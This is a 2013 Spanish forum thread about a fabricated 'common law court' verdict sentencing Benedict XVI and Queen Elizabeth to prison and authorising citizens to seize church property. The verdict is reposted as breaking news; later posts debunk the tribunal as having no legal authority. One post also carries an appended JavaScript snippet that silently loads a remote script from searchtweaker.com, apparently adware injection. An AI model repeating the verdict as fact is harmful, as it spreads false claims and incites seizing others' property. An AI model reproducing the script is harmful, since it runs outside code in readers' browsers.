El Viaje de Libertad
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 ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013

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Salomon56
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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Mar Feb 26, 2013 10:15 pm

Con el debido respeto de todos.

Cuando se comprueba que alguien ha sobrepasado las leyes y vulnerado éstas, tanto locales, nacionales e internacionales.
Tengo entendido que se emite una orden de arresto domiciliario o aprehensión. O en el menor de los casos de presentación, para deslindar "Xs" acusaciones y/o responsabilidades.

Todo depende si se presenta o no el inculpado o inculpados.

No le deseo mal a nadie. Cada quien obtiene lo suyo por sus propios méritos.

Es mi comentario y espero no dañar la suceptibilidad de nadie, y si así fuese no contestaré dañando, a mis semejantes.

Saludos.,
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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Miér Feb 27, 2013 1:08 am

En respuesta a los anteriores:

Prometo revisar toda la información que me has aportado, y alguna más que encuentre al respecto.

Si hubiera cometido la ligereza de juzgar erróneamente, prometo rectificar mis palabras públicamente.

Soy persona coherente, y si estoy equivocado, sé rectificar.

Aprovecho para saludarte, y rogarte que me des el tiempo y la oportunidad para "analizar mi ignorancia sobre el tema" con más profundidad.

Con tu permiso, colgaré ésta misma respuesta a continuación de mi comentario en el post correspondiente.

Un abrazo.

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MensajeTema: Última hora!!!: Benedicto XVI y la reina Isabel condenados a 25 años de cárcel por crimenes contra la humanidad   Miér Feb 27, 2013 3:10 am

Es entregado el veredicto final del Primer Caso de Derecho Consuetudinario contra el Vaticano y Canadá, por Genocidio.

El Papa, la Reina y el Primer Ministro canadiense fueron encontrados Culpables de Crímenes contra la Humanidad y Sentenciados a Veinticinco años de Prisión.

La Corte les Ordena que se entreguen para el 4 de Marzo o enfrentarán un Arresto Ciudadano.

Bruselas:

El Papa Benedicto irá a la cárcel por veinticinco años por su participación en Crímenes contra la Humanidad, y las propiedades y riquezas del Vaticano serán incautadas, de acuerdo al histórico veredicto emitido hoy por la Corte Internacional de Justicia del Derecho Consuetudinario.

La Corte establecida en Bruselas entregó un veredicto unánime de sus Jurados Ciudadanos y ordenó el arresto ciudadano de 30 de los Acusados en una orden judicial emitida que se les emitió el día de hoy.

Parte del Veredicto dice así:

“Nosotros, el Jurado Ciudadano encontramos que los sindicados en este caso son culpables de las dos acusaciones, esto es, que son culpables de cometer o ayudar y permitir la comisión de Crímenes contra la Humanidad, y ser parte de una Conspiración Criminal que está en marcha.”

El jurado dictaminó que cada sindicado recibiera una sentencia obligatoria de veinticinco años en prisión, sin posibilidad de obtener la libertad provisional; y que todos sus activos personales sean incautados.

La Corte pasó a declarar en su Orden No. 022513-001:

“Se le ordena a los sindicados que se entreguen voluntariamente a los Oficiales Civiles y a los Agentes autorizados por esta CORTE, habiendo sido hallados culpables de las acusaciones”.

“Los sindicados tienen siete días a partir de la emisión de esta ORDEN, y hasta el 4 de Marzo de 2013, para cumplir con lo aquí ordenado. Después del 4 de Marzo de 2013, una Orden Internacional de Arresto será emitida contra estos sindicados”.

Entre los culpables se incluye a Isabel Windsor, Reina de Inglaterra, Stephen Harper, Primer Ministro de Canadá, y los oficiales superiors de las Iglesias Católica, Anglicana y Unida de Canadá.

El veredicto de culpabilidad siguió a casi un mes de deliberaciones de más de treinta Jurados Ciudadanos juramentados, quienes examinaron 150 evidencias presentadas por el Fiscal de la Corte.

Estas evidencias detallaron pruebas irrefutables de conspiraciones criminales masivas por parte de las instituciones de los Sindicados, para cometer y esconder el Genocidio de generaciones de menores en las supuestamente llamadas escuelas residenciales, en todo Canadá.

Ninguno de los Sindicados retó o cuestionó la convocatoria pública que les fue expedida el pasado Septiembre; tampoco negaron los cargos bajo los que se les acusó, ni ofrecieron pruebas de descargo a la Corte.

“Su silencio me dijo mucho. ¿Por qué si son inocentes no defendieron su propia reputación cuando se les acusó de cosas tan horribles?” comentó uno de los jurados, establecido en Inglaterra.

“Estos crímenes fueron dirigidos a niños, y fueron fría y calculadamente planeados para desaparecer a los indígenas que no eran Cristianos. Y los sindicados claramente todavía están encubriendo este crimen. Así que nosotros sentimos que teníamos que hacer más que sólo darles un golpe en la mano. Todo el reino de terror de iglesias apoyadas por el Estado y que están por encima de la ley, tiene que terminar, porque los menores sufrieron por eso”.

El dictamen de la Corte declara que las riquezas y propiedades de las iglesias responsables por el genocidio canadiense sean incautadas y puestas bajo propiedad pública, como una reparación para las familias de los más de 50,000 niños que murieron en las escuelas residenciales.

Para hacer cumplir esta sentencia, la Corte ha facultado a ciudadanos en Canadá, los Estados Unidos, Inglaterra e Italia y en otra docena de naciones para actuar como sus agentes legales armados con órdenes judiciales, para pacíficamente ocupar e incautar las propiedades de las iglesias Católico-Romana, Anglicana y Unida de Canadá, que son los principales elementos en la muerte de estos menores.

“Esta sentencia da fundamento legal y legitimidad a las ocupaciones de las iglesias, que ya han comenzado por las víctimas de la tortura de la iglesia, en todo el mundo” comentó Kevin Annett quien es el consultor en jefe de la Oficina de la Fiscalía; y quien presentó su caso al mundo. (Ver los posteos de www.itccs.org del 6 de Noviembre y del 30 de Enero).

“El veredicto de la Corte es claro en que estos cuerpos criminales de la iglesia, serán legal y prácticamente desestabilizados, y que su riqueza mal habida será reclamada por la gente. La Justicia finalmente ha comenzado a ser cumplida. Los muertos pueden ahora, descansar más fácilmente”.

Esta semana Oficiales de la Corte están entregando la Orden a todos los sindicados, incluyendo al Primer Ministro canadiense, la Reina de Inglaterra y a Joseph Ratzinger, el Papa que se retira y quien está evadiendo el arresto dentro del Vaticano después de repentinamente renunciar hace dos semanas.

El arresto ciudadano de estos y otros Sindicados, comenzará el 4 de Marzo si ellos no se entregan ni tampoco entregan sus activos, como lo ordenó la Corte.

Estas acciones serán filmadas y posteadas en www.itccs.org en la próxima semana, junto a más actualizaciones de lo emitido por la Corte y sus Agentes Ciudadanos.

Promulgado por la Oficina Central,

Tribunal Internacional sobre los Crímenes de la Iglesia y el Estado.

25 de Febrero de 2013.

Bruselas

Nota aqui les adjunto el video que acaba de sacar el Noticiero de Jorge Ramos e Univición sobre estos crímenes de Benedicto XVI para que queden fuera las dudas.
Ver video importante https://vimeo.com/60610967

Ver video del comunicado: https://www.youtube.com/watch?v=Kcac1qeYe2o

Fuente: http://www.noticiadeimpacto.com/2013/02/ultima-hora-benedicto-xvi-sera.html


Última edición por lavozdelangel2012 el Miér Feb 27, 2013 1:56 pm, editado 1 vez
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MensajeTema: Última Hora!!! BENEDICTO XVI PIERDE INMUNIDAD COMO PAPA   Miér Feb 27, 2013 3:19 am



Última edición por Admin Natha el Miér Feb 27, 2013 8:16 am, editado 2 veces (Razón : Adecuar el post a las normas de foro, subir vídeo, eliminar datos privados y email de otra persona que no es el posteador.)
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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Miér Feb 27, 2013 3:30 am

Siendo este un tema delicado, pido por favor un cuidado especial a la hora de comunicarnos y tratar de hacerlo sin necesidad de calificativos.

Todos los temas relacionados se han fusionado en este, sólo está de forma separada la Dimisión del Papa.

Un abrazo a todos.

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Miér Feb 27, 2013 3:34 am

Uge:
Esto no es nada personal, son comentarios que cada uno de nosotros hace al respecto de algún tema.

Saludos.
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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Miér Feb 27, 2013 12:49 pm

@Admin Natha escribió:
Siendo este un tema delicado, pido por favor un cuidado especial a la hora de comunicarnos y tratar de hacerlo sin necesidad de calificativos.

Todos los temas relacionados se han fusionado en este, sólo está de forma separada la Dimisión del Papa.

Un abrazo a todos.


Tomo nota, Natha, y pido diculpas por la parte que me pudiera corresponder.


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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Miér Feb 27, 2013 12:51 pm

@Salomon56 escribió:
Uge:
Esto no es nada personal, son comentarios que cada uno de nosotros hace al respecto de algún tema.

Saludos.

Sin problema, Salomon, eso eso algo que siempre tengo presente.

Algún tema tenía que resultar algo polémico, y parece que a éste le ha tocado.

Como dije más arriba, estoy estudiando el asunto, y si mis comentarios fueron inapropiados, rectificaré debidamente.

...Y si encuentro que no, demostraré con fundamento mi postura.

Un abrazo, amigo.

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Miér Feb 27, 2013 1:23 pm

@Uge escribió:
@Salomon56 escribió:
Uge:
Esto no es nada personal, son comentarios que cada uno de nosotros hace al respecto de algún tema.

Saludos.

Sin problema, Salomon, eso eso algo que siempre tengo presente.

Algún tema tenía que resultar algo polémico, y parece que a éste le ha tocado.

Como dije más arriba, estoy estudiando el asunto, y si mis comentarios fueron inapropiados, rectificaré debidamente.

...Y si encuentro que no, demostraré con fundamento mi postura.

Un abrazo, amigo.

Gracias amigo uge. cheers cheers cheers(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="http://www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 3:29 am

Descubriendo cosas sobre el "Tribunal por los Crímenes de la Iglesia y del Estado"


Tras leer con detenimiento los enlaces a las páginas aportadas con anterioridad, he llegado a las siguientes conclusiones:

Decenas (si no cientos) de páginas, se han hecho eco de la noticia que, mas o menos, figura tal y como está posteada. En ellas, se habla de un tal "Tribunal por los Crimenes de la Iglesia y del Estado", tribunal que no tiene el reconocimiento como tal por parte de ninguna institución legislativa reconocida de ningún país.

(Un ejemplo de la noticia puede leerse en: http://sereslibres.com/2013/02/16/ratzinger-obligado-a-dimitir-por-una-orden-de-arresto-por-crimenes-contra-la-humanidad/)

Buscando la legitimidad, historia y base legal del citado tribunal, encuentro notas como la aparecida en: http://crimenesdelvaticano.blogspot.com.es/2013/02/historia-y-base-legal-del-tribunal.html

La cual pego a continuación:

La ITCCS es un “Tribunal de Conciencia” basado en ciudadanos con permanencia bajo las leyes internacionales y naturales. Su legitimidad está establecida bajo el principio internacional de la Necesidad de un Acto bajo el cual los ciudadanos pueden establecer un mecanismo judicial bona fide con raíces en el Derecho Consuetudinario.

Es decir, nos avisa que su legitimidad la establecen ellos mismos, basado en un principio general de "defenderse a si mismos" aplicando el "Derecho Consuetudinario". Dicha palabra significa "el uso y costumbres", y ciertamente es una fuente de Derecho, reconocida allí donde no existan leyes que traten del asunto a juzgar.

En el caso de crímenes masivos, contra la humanidad, o delitos fiscales, no puede aplicarse, por cuanto dichos delitos cuentan con una amplia gama de leyes que los definen, estableciendo multitud de tribunales habilitados para "conocer de su causa", por lo que no existe el vacío legal que podría aducirse en pretensión de la aplicación del Derecho Consuetudinario.

En el enlace de la página anterior, se hace referencia como fuente a la siguiente: http://www.protegeatushijos.org/

Allí se amplía el concepto, y ya nos define un poco más que "se trata de un tribunal de conciencia".

Pego algunos párrafos:

"Fundada en la primavera de 2010 en un conferencia de sobrevivientes de la tortura eclesiástica en Dublin, Irlanda, la ITCCS en la presente comprende organizaciones en quince países (ver la lista de patrocinadores y afiliadas, al final de este documento. Fue fundada como causa de que las cortes y gobiernos existentes rehúsan acusar y juzgar a las iglesias culpables de genocidio y crímenes contra menores, y por la complicidad activa de estas agencias estatales con los cuerpos criminales eclesiásticos."

"El Secretario Interino de ITCCS es el Rev. Kevin D. Annett, M.A., M.Div., y sus asesores legales incluyen miembros del Tribunal de Derechos Humanos de Kuala Lumpu, al experto en Derecho Consuetudinario Andrew Paterson, a miembros del Colegio de Abogados Estadounidenses y Canadienses, y abogados del prestigioso Centro para los Derechos Constitucionales en la ciudad de Nueva York."


En éste punto, debo recordar que el citado tribunal "dice" haber llegado a un acuerdo con un país europeo, para la emisión de las órdenes de detención, pero en ningún momento cita de qué país se trata (lo que merma su credibilidad, evidentemente).

Leído el artículo completo, nos dirige, para más información, a la página: http://itccs.org/about/ (aunque por lo que supongo un error, primeramente cita itcs.org, que es una página de anuncios)

Dicha página, original en inglés, mediante traducción automática, os la pego a continuación:

"Antecedentes y justificación

El abuso, la trata de personas, la tortura y el asesinato de niños parece ser endémica a la cultura europea, y continúa siendo activamente practicado y tolerado y protegido, por la iglesia, el estado, judicial y de las fuerzas policiales de todo el mundo.

Estas mismas instituciones son igualmente responsables del genocidio histórico de los pueblos indígenas a manos de la cristiandad europea: un enorme crimen contra la humanidad que nunca se ha detenido, y continúa haciendo estragos y destruir a los inocentes y la tierra.

Debido a que estos crímenes han surgido desde dentro del corazón y las leyes de la llamada civilización occidental, no se han enfrentado a juicio o responsabilidad. Creemos que ha llegado el momento para los dos.

Dos de los principales practicantes de este genocidio de los inocentes - el Vaticano y la Corona de Inglaterra - son efectivamente inmunes a enjuiciamiento en virtud de las leyes y costumbres. Por tanto, corresponde a todos los ciudadanos a tomar medidas para proteger a sus hijos de cara a la negativa de los tribunales y de los gobiernos de llevar ante la justicia a aquellos que amenazan la seguridad pública y el bienestar.

Sobre esta base, nuestro Tribunal ha establecido para hacer cumplir la ley común y enjuiciar y condenar a las instituciones y sus funcionarios responsables de tales crímenes históricos y en curso contra la humanidad. Por lo tanto, constituyen un tribunal de derecho en virtud del derecho común, con plenas facultades de detención, condena y ejecución.

Hemos publicado una convocatoria pública a Joseph Ratzinger (también conocido como "El Papa Benedicto XVI") y seis cardenales de la Iglesia Católica Romana, inc. a comparecer ante la sesión de apertura el 12 de septiembre de 2011 en Londres. Una citación similares serán entregados a otra iglesia y los funcionarios del Estado en los próximos meses.

Common Law oficiales de paz que trabajan para nuestro Tribunal de jure y Tribunal detener a esas personas y llevarlos a juicio, y harán cumplir las sentencias de nuestro Tribunal, si los oficiales regulares de paz se niegan a hacerlo.

Nuestra Corte y sus oficiales se siguen las reglas normales de derecho consuetudinario del debido proceso en todas sus deliberaciones y decisiones, guiados por los principios de la ley natural de la equidad, la razón y la justicia, y la máxima de Actus nemini facit injuriam: El acto de la ley no hace equivocada.

Además, nuestra Corte reconocer y permitir en sus actuaciones, la Ley de Tierras de jurisdicción tribal de las naciones indígenas o las personas que llevan una demanda contra las partes convocadas a nuestra Corte.

Se entiende por nuestro Tribunal que sus decisiones, pues se basan en la ley natural y común, reemplazan e invalidan todos los estatutos y las leyes reglamentarias que entren en conflicto con las decisiones de la Corte, sobre todo cuando esas estatuas mantener delitos o su encubrimiento o protección de la de los culpables. Del mismo modo, nuestro Tribunal no reconoce la jurisdicción o autoridad de cualquier sistema contendientes legales, tales como la denominada "Ley de Canon", o cualquier otra forma de inmunidad personal, diplomático o jurídico de cualquier persona o institución, incluidos los jefes de los estados, las iglesias y las corporaciones.

Como un Tribunal de jure y un popular foro para abordar las quejas, los crímenes y consecuencias, nuestro Tribunal es por definición un proceso público que sólo puede cumplir su mandato con una amplia participación, especialmente de los sobrevivientes de crímenes iglesia y el estado.

Por consiguiente, en otros países y comunidades, el Tribunal tratará de realizar foros públicos para que coincida con los períodos de sesiones de Londres, y que estará vinculado por transmisión simultánea, para permitir a la gente a presentar sus declaraciones juradas y testimonios que formará parte del expediente oficial Corte y el Tribunal de grabación.

Los veredictos finales y las conclusiones de la Corte y el Tribunal se hará pública en la forma de un informe final público cuyas decisiones serán ejecutadas por los Oficiales de Paz de derecho consuetudinario y sus agentes, si los oficiales regulares de paz se niegan a hacerlo. Estas decisiones pueden y contará con la pena de prisión y la comunidad condena de los culpables, la expedición de Gravámenes comerciales y órdenes de expropiación en contra de la iglesia, las instituciones empresariales y estatales y sus bienes y haberes, las órdenes de reparación y compensación, y la devolución de todas las tierras, propiedad, los impuestos no pagados, y los ingresos obtenidos a través del trabajo forzado.

Nuestra Corte y el tribunal derivan su autoridad máxima de la Ley Natural evidente que reside dentro de la razón y la compasión de todos los hombres y la mujer, y de la Ley de derecho común de la ciudadanía informada a establecer sus propios tribunales, la policía y las leyes cuando las instituciones normales omitan o se nieguen a respetar la libertad, los derechos, la seguridad y el bienestar de la comunidad.

Emitido por el Comité de Asesoría Jurídica del Tribunal Internacional de Crímenes de Iglesia y Estado - 03 de enero 2011"




De todo ello, se concluye:

Éste tribunal lo es solo por su propia gana de definirlo así, pues no consta reconocido por ningún organismo internacional como tal

Se atribuye la potestad de reemplazar e invalidar todos los estatutos y leyes reglamentarias que entren en conflicto con sus decisiones.

Se atribuye legitimidad para confiscar, expropiar y ocupar todos los bienes de la Iglesia, Instituciones empresariales y estatales.

Se atribuye la capacidad de establecer su propia policía.



Y un sinfín de barbaridades más.

Con todo ello, me reafirmo en mis opiniones vertidas en el post de la discordia. Éste tribunal es ilegítimo desde el punto de vista de la ley internacional, tiende a un nacional - fascismo peligroso, confunde con su terminología haciendo creer que poseen capacidad para juzgar cuando en realidad no la tiene, incita a la población mundial a apropiarse de bienes ajenos cuando nadie en ningún lugar va a respaldar dicha apropiación...

Y podría seguir, pero lo zanjo aquí.

Lo siento, no hay rectificación por el momento.

Un saludo.

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 4:09 am

Hola Uge, la compañera lavozdelangel ha decidido darse de baja del foro, te lo comento por si esperas una respuesta a tu aportación no la recibirás, al menos de ella.
Un abrazo.

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 8:18 am

study Pieles delicadas, mentes frágiles que no soportan un dialogo constructivo que solo promueven el crecimiento intelectual.
Ellos se lo pierden.


Felicidades por todas tus investigaciones Uge.

Todos crecemos con estos aportes, si no se dieran estos intercambios no se lograrían estos resultados.

Abrazos

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 11:57 am

Gracias, Samuel. Ciertamente hay ocasiones en que no se pueden dar por buenas todas las cosas que circulan por la red, como si de verdades absolutas fueran.

A veces se trata de simples pájaros voladores, a los cuales es fácil ignorar. Pero en ocasiones esos pájaros se convierten en bandada, que invaden la red y se cuelan en los foros... como en éste. Y es bueno que podamos, entre todos, bucear y filtrar esas informaciones.

No soy seguidor de iglesias, y soy consciente que la católica ha cometido errores, abusos, crímenes... y si realmente algún día, un Tribunal legitimado, determina iniciar un caso contra ella, o contra uno de sus más destacados miembros, será una noticia que seguiré con todos vosotros, por el interés que despertaría.

Pero si se anuncia una condena al Papa, o es legítima (y merecedora de atención), o no lo es. Y éste caso no lo es. Y no siéndolo, no quiero que los amigos y amigas del foro tomen por buena dicha información.

Yo lo vi claro casi desde el principio. Pero recibí una "amonestación" personal, y por ello pedí tiempo para revisar mi postura y contrastar la información.

Seguro que si hubiera tenido que rectificar, lo habría hecho. No os quepa duda.

Lamento igualmente la marcha de "lavozdelangel", pero eso demuestra la poca capacidad de exposición al debate. En ningún momento falté al respeto a su persona. Desde el comienzo dije que comprendía que se limitaba a repetir una información que era ajena, y es a la información a la que dirigí mis acusaciones.

Tampoco voy a sentirme molesto por los comentarios vertidos sobre mi ignorancia. Todo lo contrario, si no fuera ignorante, no habría necesitado profundizar un poco en conocer el asunto. Mi ignorancia fue la que me motivó a hacerlo. Y así se aprende en la vida.

Hoy, el titular "Orden de arresto para Benedicto XVI y confiscación del patrimonio de la Iglesia", debería quedar archivado en el apartado "conspiraciones", y no en "noticias de actualidad".

Pero eso es lo de menos.

Un abrazo.

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 1:44 pm

study Bien hecho se acabo el alpiste y a volar los pájaros.

Abrazos
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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 2:03 pm

@Uge escribió:
Pero recibí una "amonestación" personal,

Hola Uge, buenas tardes/noches... esto de la "amonestación" personal es con respecto a la forma en la que te contestó la compañera lavozdelangel, verdad?, mas que nada es que me quedé dándole vueltas si habías tomado como tuyas o dirigidas a ti mis recomendaciones de mesura a la hora de comunicarnos... y decir que fue simplemente eso, y a rasgos generales para todos, no el deseo de reprobar nada, simplemente veía hacia donde podía ir el desenlace, aunque no te negaré que me sorprendió el cambio en tu actitud a la que nos tienes acostumbrados, siempre medida, conciliadora a otra forma mas "tensa", aun así desde mi perspectiva que no sé si importa mucho, creo que todos somos muchas cosas y que de vez en cuando hasta nuestros propios esquemas de mesura se rompen, y también está bien.

He participado en este tema como observadora y doy gracias por todos los aportes.

Un abrazo.

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 2:56 pm

@Admin Natha escribió:
@Uge escribió:
Pero recibí una "amonestación" personal,

Hola Uge, buenas tardes/noches... esto de la "amonestación" personal es con respecto a la forma en la que te contestó la compañera lavozdelangel, verdad?, mas que nada es que me quedé dándole vueltas si habías tomado como tuyas o dirigidas a ti mis recomendaciones de mesura a la hora de comunicarnos... y decir que fue simplemente eso, y a rasgos generales para todos, no el deseo de reprobar nada, simplemente veía hacia donde podía ir el desenlace, aunque no te negaré que me sorprendió el cambio en tu actitud a la que nos tienes acostumbrados, siempre medida, conciliadora a otra forma mas "tensa", aun así desde mi perspectiva que no sé si importa mucho, creo que todos somos muchas cosas y que de vez en cuando hasta nuestros propios esquemas de mesura se rompen, y también está bien.

He participado en este tema como observadora y doy gracias por todos los aportes.

Un abrazo.

Querida amiga Natha... y estimada Admin Natha...

No era por tus palabras lo de la amonestación personal, sino por un mensaje privado de lavozdelangel.

Posteriormente, vi que la misma reprimenda que recibí por privado, era el post que había colgado en el tema. Si no lo hubiera publicado, hubiera dirimido el tema en privado, pero al hacerlo público, me obligaba a responder por la misma vía.

En cuanto al tomo de mi aporte... no voy a negar que fue más "emotivo" de lo acostumbrado en mi. Pero si revisas el asunto desde su inicio, ya anteriormente hice una observación en el sentido de no dar mucho pábulo a la nota que comenzaba a circular sobre la sentencia contra el Papa y la Reina de Inglaterra, ya que creía que no procedía de una auténtica Corte Internacional reconocida.

Pero me encontré con que se insistía en actualizar la información, como si realmente fuera un asunto de alcance internacional al que hubiera que dar crédito, y por eso vertí con algo más de entusiasmo la opinión que me merecía.

Fue justa la réplica, pues no aportaba fuentes ni datos objetivos. Simplemente se trataba de una "opinión personal", y de hecho, cabía en lo posible que me hubiera precipitado, haciendo un juicio de valor prematuro sin haber contrastado, investigado y aportado fuentes.

Una vez hecho ésto, puse lo que encontré, que entiendo no hace sino confirmar mis primeras impresiones.

Te agradezco la mesura con que has intervenido. Cierto que algunos temas son muy propensos a herir sensibilidades. Por eso mismo tampoco quería dejar sin voz a los que se pudieran haber sentido ofendidos por una supuesta "orden internacional de arresto contra el Papa y la intervención de todos los bienes de la Iglesia, alentando a la ocupación de todas las iglesias del mundo".

Es una cuestión de información difundida (no solo por éste foro, corre por toda la red), que se suele replicar de foro en foro, de blog en blog, llenando páginas de la red, sin que nadie se preocupe de saber si lo que están replicando tiene alguna base que merezca dar crédito.

Es como la foto de un ovni, que todos difundimos, pero no por ello debemos dar por cierto que lo sea, y está expuesta a las dudas y críticas de los demás.

Y personalmente, me hubiera encantado que me hubiesen replicado, aportando argumentos que apoyen la postura de la contraparte. Aquí nadie está para sentar cátedra de nada, y yo el último.

Abandonar el foro por haber sido desacreditada una información aportada, da la medida de la persona. Es como los que abandonan un foro porque no se cree a pie juntillas lo que uno opina.

No somos un grupo que creamos a fe ciega lo que cualquiera tenga a bien escribir. Y no por ello dejamos de estar orgullosos del trabajo que se realiza. Pero no se estaba opinando sobre una cuestión de creencia personal, sino sobre la legitimidad de una noticia. La objetividad para analizar ésto, es potestad de cada uno.

Repito, lamento que haya personas que piensen que el resto no tenemos la capacidad para replicar una información. Pero si alguien así decide dejarnos, debe ser que su camino aún no lleva nuestros mismos pasos... o que sus pasos le están llevando por otro camino, de momento.

En su firma decía: "La verdad os hará libres". Pero no soporta la verdad, ni que otros la busquen. Solo busca sensacionalismo.

En fin, creo que ésto da para poco más, no quiero crear nueva polémica con ésto.

A no ser que alguno de vosotros seáis uno de esos "enviados delegados especiales del Tribunal, con potestad para emitir órdenes de detención", y pueda decirme quien las firma y bajo qué autoridad.

Un abrazo a todos, y sigamos "buscando la verdad que nos haga libres"

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 3:02 pm

Benedicto XVI abandona el Vaticano










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Foto: AFP

Benedicto XVI abandona el Vaticano














El Papa Benedicto XVI abandonó el Vaticano y voló hacia la ciudad vacacional de Castel Gandolfo.


Tras despedirse del vicario de Roma, el
cardenal Agostino Vallini y del vicario de la ciudad del Vaticano,
Angelo Comastri, el pontífice salió en auto del patio de San Dámaso
-dentro del palacio apostólico- y se dirigió hacia el helipuerto.


Ahí tomó el helicóptero que lo llevó hacia Castel Gandolfo.


Antes de partir, el pontífice escribió
en su cuenta de Twitter: "Gracias por vuestro amor y cercanía. Que
experimentéis siempre la alegría de tener a Cristo como el centro de
vuestra vida".


Benedicto XVI permanecerá en esa ciudad
por lo menos tres meses, mientras se llevan a cabo los trabajos de
restauración del monasterio vaticano, según informó la agencia de
noticias Adnkronos. BBC Mundo
http://spanish.ruvr.ru/2013_02_28/Benedicto-XVI-abandona-Vaticano/
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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 3:15 pm

@Uge escribió:


Querida amiga Natha... y estimada Admin Natha...

No era por tus palabras lo de la amonestación personal, sino por un mensaje privado de lavozdelangel.


Uge, coincido contigo en muchas de las cosas que nos comentas sobre este tema, y sé que tienes bastante claro el desarrollo de lo que ha pasado y que estas satisfecho con tu forma de actuar, yo no tengo nada que decir al respecto.

Y si, tienes razón con respecto a la fundamentación o bases de un tema expuesto en el foro, pero también hay temas que podrían ser calificados como este de "sensacionalistas" o de faltos de "fundamento", pero aún así se desarrollan y las personas que están involucradas los sostienen y actualizan, entiendo que quisiste dar una visión informativa mas realista de lo que es ese "supuesto tribunal".

Una parte de mi hubiese preferido que la compañera se quedara y nos diera su visión, aunque otra parte reconocía y así le dije, que la tolerancia no era su fuerte y que eso podría ocasionar una confrontación desmedida por su parte.

Un abrazo Querido Uge beso

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   Jue Feb 28, 2013 3:33 pm

Pues si, Natha... a mi me hubiera gustado debatir sobre el tema, si se hubiera dado lugar a ello.

Me habría encantado decir que si bien dicho tribunal no tiene potestad legitimada, quizá deberíamos plantearnos porqué otros que si la tienen no han actuado de forma parecida ante evidentes desmanes, no solo de la Iglesia, sino de tantos y tantos otros "actores" más de éste mundo.

Si el debate pudiera haberse centrado en... "ésto no tiene valor, pero ¿podría ser que lo tuviera, si un Tribual de Justicia legitimado se decidiera a tomar en consideración las mismas acusaciones?... entonces quizá podría cada uno argumentar, y me habría gustado saber qué pasó realmente con el genocidio canadiense, con los dineros del Vaticano, con la reina de Inglaterra, con Bárcenas, con Mario Conde, con Silvio Berlusconi, con el Bundeskbank alemán, con el FMI, con Corea del Norte o Rusia, con los refugiados del Sahara, con la guerra civil de los países de Oriente Medio, con las tribus del Amazonas, con los Inuits, con el conflicto del Tíbet, con los crímenes de las empresas farmacéuticas y las alimentarias, con la experimentación animal o con el envenenamiento de las abejas...

Podremos creer que todas éstas barbaridades deberían ser investigadas, juzgadas, sacadas a la luz, perseguidos sus responsables y detenidos y confiscados los bienes de sus causantes.

Al fin y al cabo, eso intentamos todos: descubrir un mundo mejor donde no pasen todas éstas cosas.

Me hubiera gustado debatir sobre porqué ahora, de todos los posibles criminales, es al Papa a quien ha condenado ese tribunal. Condenado por un Reverendo.

Pero... debatir siempre es enfrentarnos a nuestros propios argumentos, y no siempre estamos preparados para ello.

A cada tiempo, su afán, reza un dicho.

Un abrazo.

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MensajeTema: Re: ULTIMA HORA!!! Orden de Arresto para Benedicto XVI, y confiscación de patrimonio de la Iglesia, emitida el 4 de Febrero del 2013   

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